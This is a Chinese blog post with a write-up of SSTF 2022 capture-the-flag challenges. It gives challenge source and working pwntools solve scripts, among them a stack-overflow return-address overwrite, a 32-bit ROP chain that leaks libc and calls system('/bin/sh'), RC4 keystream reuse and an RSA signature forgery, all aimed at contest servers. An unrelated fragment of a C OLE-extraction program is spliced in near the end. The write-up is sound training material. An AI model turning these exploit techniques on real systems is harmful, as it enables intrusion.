[SSTF 2022] 三星安全论坛的小比赛错过了

60 篇文章 10 订阅
15 篇文章 1 订阅

 

打开的时候已经比赛完了,不过题目还可以看也可以提交确认正误。有点良心。

前边有个教程

0,签到

        这个直接给了flag,一共有690个提交,看来参加的人不多

1,BOF101

        一个pwn题,附件给了源码,后边102和103不让作,应该是比赛的时候作了101才让作。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int printflag(){ 
	char buf[32];
	FILE* fp = fopen("/flag", "r"); 
	fread(buf, 1, 32, fp);
	fclose(fp);
	printf("%s", buf);
	return 0;
}

int main() {
	int check=0xdeadbeef;
	char name[140];
	printf("printflag()'s addr: %p\n", &printflag);
	printf("What is your name?\n: ");
	scanf("%s", name);	
	if (check != 0xdeadbeef){
		printf("[Warning!] BOF detected!\n");
		exit(0);
	}
	return 0;
}

也就是ret2system这个意思,PIE打开加载地址随机但直接给出了加载地址,直接溢出就行,中间注意要恢复check

from pwn import *

#p = process('./bof101')
p = remote('bof101.sstf.site', 1337)

context(arch='amd64', log_level='debug')

p.recvuntil(b's addr: ')

printflag = int(p.recvline(), 16)
print(hex(printflag))

p.sendlineafter(b"What is your name?\n: ", b'A'*(0x90-4)+p32(0xdeadbeef)+b'A'*8+ p64(printflag+5))
print(p.recv())
p.ineractive()
#SCTF{n0w_U_R_B0F_3xpEr7}

2,RC four

这是一个RC4加密的题,给了一断明文和对应的密文,然后是flag的密文

from Crypto.Cipher import ARC4
from secret import key, flag
from binascii import hexlify

#RC4 encrypt function with "key" variable.
def encrypt(data):
	#check the key is long enough
	assert(len(key) > 128)

	#make RC4 instance
	cipher = ARC4.new(key)

	#We don't use the first 1024 bytes from the key stream.
	#Actually this is not important for this challenge. Just ignore.
	cipher.encrypt("0"*1024)

	#encrypt given data, and return it.
	return cipher.encrypt(data)

msg = "RC4 is a Stream Cipher, which is very simple and fast."

print (hexlify(encrypt(msg)).decode())
print (hexlify(encrypt(flag)).decode())
#634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8
#624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb

由于用的同一个密码,而流加密是流是相同的,只需要用密文与明文异或得到流,再用这个流去与flag的密文异或就能得到flag

msg = b"RC4 is a Stream Cipher, which is very simple and fast."

c1 = bytes.fromhex('634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8')
c2 = bytes.fromhex('624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb')

print(bytes([msg[i]^c1[i]^c2[i] for i in range(len(c2))]))

#SCTF{B10ck_c1pH3r_4nd_5tr3am_ciPheR_R_5ymm3tr1c}

3,RSA101

远程的RSA题,可以加密一些命令,但不参加"cat flag",只要传上"cat flag"的密文就能得到flag

from base64 import b64encode, b64decode
from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
from os import system

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))

print("[RSA parameters]")
print("n =", hex(n))
print("e =", hex(e))

def sign(msg):
	m = bytes_to_long(msg)
	s = pow(m, d, n)
	return long_to_bytes(s)

def verify(s):
	s = bytes_to_long(s)
	v = pow(s, e, n)
	return long_to_bytes(v)

def welcome():
	print("\nWelcome to command signer/executor.")
	print("Menu : 1. Verify and run the signed command")
	print("       2. Generate a signed command")
	print("       3. Base64 encoder")
	print("       4. Exit")

while True:
	welcome()
	sel = input(" > ").strip()
	if sel == "1":
		sgn = input("Signed command: ").strip()
		sgn = b64decode(sgn)
		cmd = verify(sgn)

		commands = ["ls -l", "pwd", "id", "cat flag"]
		if cmd.decode() in commands:
			system(cmd)
		else:
			print("Possible commands: ", commands)

	elif sel == "2":
		cmd = input("Base64 encoded command to sign: ")
		cmd = b64decode(cmd)
		if cmd == b"cat flag":
			print("It's forbidden.")
		else:
			print("Signed command:", b64encode(sign(cmd)).decode())

	elif sel == "3":
		cmd = input("String to encode: ").strip().encode()
		print("Base64 encoded string:", b64encode(cmd).decode())

	elif sel == "4":
		print("bye.")
		exit()

	else:
		print("Invalid selection.")

根据公式 m^e = c mod n有 (m1*m2)^e = c1*c2 mod n这样先求出m1*m2的密文和m2的密文就能还原出m1的密文

n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
e = 0x10001

m1 = 'aWQ=' #id
c1 = 'qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA='

m2 = 'KOnKsqaqdklLPA==' # id * cat flag
c2 = 'IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho='

from base64 import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
from gmpy2 import invert

c1 = bytes_to_long(b64decode(c1))
c2 = bytes_to_long(b64decode(c2))

c = (invert(c1, n)*c2) %n
print(c)
bc = b64encode(long_to_bytes(c))
print(bc)

#o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
#SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
'''
shi@ubuntu:~/2022sstf/bol$ nc rsa101.sstf.site 1104
[RSA parameters]
n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
e = 0x10001

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 2
Base64 encoded command to sign: aWQ=
Signed command: qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA=

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 2
Base64 encoded command to sign: KOnKsqaqdklLPA==
Signed command: IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho=

Welcome to command signer/executor.
Menu : 1. Verify and run the signed command
       2. Generate a signed command
       3. Base64 encoder
       4. Exit
 > 1
Signed command: o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
'''

4, DocxAchive

这是个word文档,里边有个嵌入文件,先把扩展名改为zip然后解开能得到oleObject1.bin这个文件也不知道怎么打开,先用010打开看看发现有个PNG文件头,将这一块复制出来。打开里边就是个flag

5, PPPR

一开始以为一定要用PPPR感觉很麻烦,打开后看就是一个栈溢出题,先puts(got.puts)再回到main(由于这里边没有/bin/sh所以要用libc里的bin/sh才用到libc,原题原意可能是用pppr直接用输入的串,因为system已经给出了),然后在得到libc后再作system(bin/sh) 

from pwn import *

elf = ELF('./pppr')
context(arch='i386', log_level='debug')

#p = process('./pppr')
p = remote('pppr.sstf.site', 1337)

#gdb.attach(p, "b*0x80485b2")
#pause()

bss = 0x804a100
pay = flat(b'A'*8,0, elf.plt['puts'],elf.sym['main'],elf.got['puts'])

p.sendline(pay)
libc_base = u32(p.recv(4)) - 0x6d1e0  #local 0x6dc30
bin_sh = libc_base + 0x18b363 #0x18e363

print('libc:', hex(libc_base))

pay = flat(b'A'*8,0, elf.plt['system'],0, bin_sh)
p.sendline(pay)

p.interactive()
#SCTF{Anc13nt_x86_R0P_5kiLl}

6,Flip Puzzle

这是一个4阶拼版游戏,复原4*4块的位置。由于是计算机上的虚拟,这个没有上下左右边界,可以在左边界左移到最右。另外这里没有空格,是用与A互换实现的,实际上完全一样把A当空格就行了。

#!/usr/bin/env python3

import random
import os
import signal
import sys

LIMIT_TIME = 50
NUM_STAGE = 100
SHUFFLE_NUM = 11

def bye():
    print ("Bye~")
    sys.exit()

signal.signal(signal.SIGALRM, bye)
signal.alarm(LIMIT_TIME)

class Challenge:
    goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    xpos = 0
    ypos = 0
    dist = 0

    def init(self):
        self.status = self.goal

    def shuffle(self, num):
        options = [(0, +1), (0, -1), (+1, 0), (-1, 0)]
        for _ in range(num):
            dx, dy = random.choice(options)
            self.move(dx, dy)

    def move(self, dx, dy):
        assert abs(dx + dy) == 1
        assert dx == 0 or dy == 0
        arr = self.status.split(",")
        p1 = self.xpos * 4 + self.ypos
        xxpos = (self.xpos + dx + 4) % 4
        yypos = (self.ypos + dy + 4) % 4
        p2 = xxpos * 4 + yypos

        arr[p1], arr[p2] = arr[p2], arr[p1]
        self.xpos = xxpos
        self.ypos = yypos
        self.status = ",".join(arr)

    def ok(self):
        return self.goal == self.status

    def dump(self):
        arr = self.status.split(",")

        for i in range(0, 4):
            print ("".join(arr[i*4:i*4+4]))

for _ in range(NUM_STAGE):
    chall = Challenge()
    chall.shuffle(SHUFFLE_NUM)
    cnt = 0
    print("Current Status :")
    chall.dump()
    while chall.ok() == False:
        try:
            dx, dy = map(int, input(">>>").split(","))
            chall.move(dx, dy)
            cnt = cnt + 1
            if cnt > SHUFFLE_NUM:
                bye()
        except:
            bye()
    print ("Solved!")

print("SCTF{fake-flag}")

由于需要成功100次才行,所以不能在线解题,要先生成个库,也就是11步所能走到的所有情况。这个用分层遍历来实现。由于要走11步,所以这个运行花费大量时间,估计这也是题目完成人少的原因

def move(status, dx, dy):
    arr = status.split(",")
    p1 = arr.index('A')
    p1x = p1 // 4
    p1y = p1 % 4 
    p2x = (p1x+dx)%4
    p2y = (p1y+dy)%4 
    p2 = p2x*4 + p2y 
    arr[p1], arr[p2] = arr[p2], arr[p1]
    return ",".join(arr)    
    
goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
options = [[0, +1], [0, -1], [+1, 0], [-1, 0]]
SHUFFLE_NUM = 11
a_m = []
a_s = []
def get_s(m, t, s):
    global a_m,a_s 
    if t in a_m:
        return a_s[a_m.index(t)]
        
    a_m = [m]
    a_s = [s]
    start = 0
    end = len(a_m)
    for _ in range(SHUFFLE_NUM):
        print(_)
        newstate = {}
        for j in range(start, end):
            for i in range(4):
                ns = move(a_m[j], options[i][0], options[i][1])
                if ns not in a_m:
                    a_m.append(ns)
                    a_s.append(a_s[j]+str(i))
        start = end 
        end = len(a_m)

get_s(goal,goal, '')  #取得所有状态
print(len(a_m), a_m[:10], a_s[:10])

open('a_m.dat', 'w').write("\n".join(a_m))
open('a_s.dat', 'w').write("\n".join(a_s))

生成了一个10M的库,和所走的最短路径,然后再连线查表返回步数

a_m = []
with open("a_m.dat") as f:
    for i in range(324747):
        a_m.append(f.readline().strip('\n'))
a_s = []
with open("a_s.dat") as f:
    for i in range(324747):
        a_s.append(f.readline().strip('\n'))

print(len(a_m), len(a_s))

op_r = [[0, -1], [0, 1], [-1, 0], [1, 0]]
print(op_r[0][0])
from pwn import *

#context(arch='amd64', log_level= 'debug')
p = remote("flippuzzle.sstf.site", 8098) 
#p = process(["d:/python/python","app.py"])
NUM_STAGE = 100
for i in range(NUM_STAGE):
    print(i, end='')
    p.recvuntil(b"Current Status :\n")
    
    old_status = p.recvuntil(b'>>>', drop=True).replace(b'\n', b'').decode()
    old_status = ",".join(list(old_status))
    print('old:', old_status)
    ok = a_s[a_m.index(old_status)][::-1]
    for i in ok:
        i = int(i)
        r = op_r[i]
        p.sendline(str(r[0]) +","+str( r[1]))
    print(p.recvline())
print(p.recvline())
#SCTF{what-is-your-favorite-algorithm_0x38dc129?}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
/* cole - A free C OLE library. cole_extract - Extract a file from a filesystem. Copyright 1998, 1999 Roberto Arturo Tena Sanchez This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ /* Arturo Tena */ #include /* To compile this file outside cole source tree, you must include here instead */ #include "cole.h" #define PRGNAME "iOLE" #define BUFFER_SIZE 128 int main(int argc, char **argv) { COLEFS *cfs; COLEFILE *cf; COLERRNO colerrno; char buffer[BUFFER_SIZE]; size_t char_read; if (argc != 3) { fprintf(stderr, "cole_extract. Extract a file from a " "filesystem to the standard output.\n" "Usage: "PRGNAME" \n" " FILE - File with the filesystem.\n" " INFILE - Filename of the file to extract.\n"); exit(1); } printf("%s",argv[1]); cfs = cole_mount(argv[1], &colerrno); if (cfs == NULL) { cole_perror(PRGNAME, colerrno); exit(1); } cf = cole_fopen(cfs, argv[2], &colerrno); if (cf == NULL) { cole_perror(PRGNAME, colerrno); cole_umount(cfs, NULL); exit(1); } while ((char_read = cole_fread(cf, buffer, BUFFER_SIZE, &colerrno))) { if (fwrite(buffer, 1, char_read, stdout) != char_read) { break; } } if (!cole_feof(cf)) { cole_perror(PRGNAME, colerrno); cole_umount(cfs, NULL); exit(1); } if (cole_fclose(

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值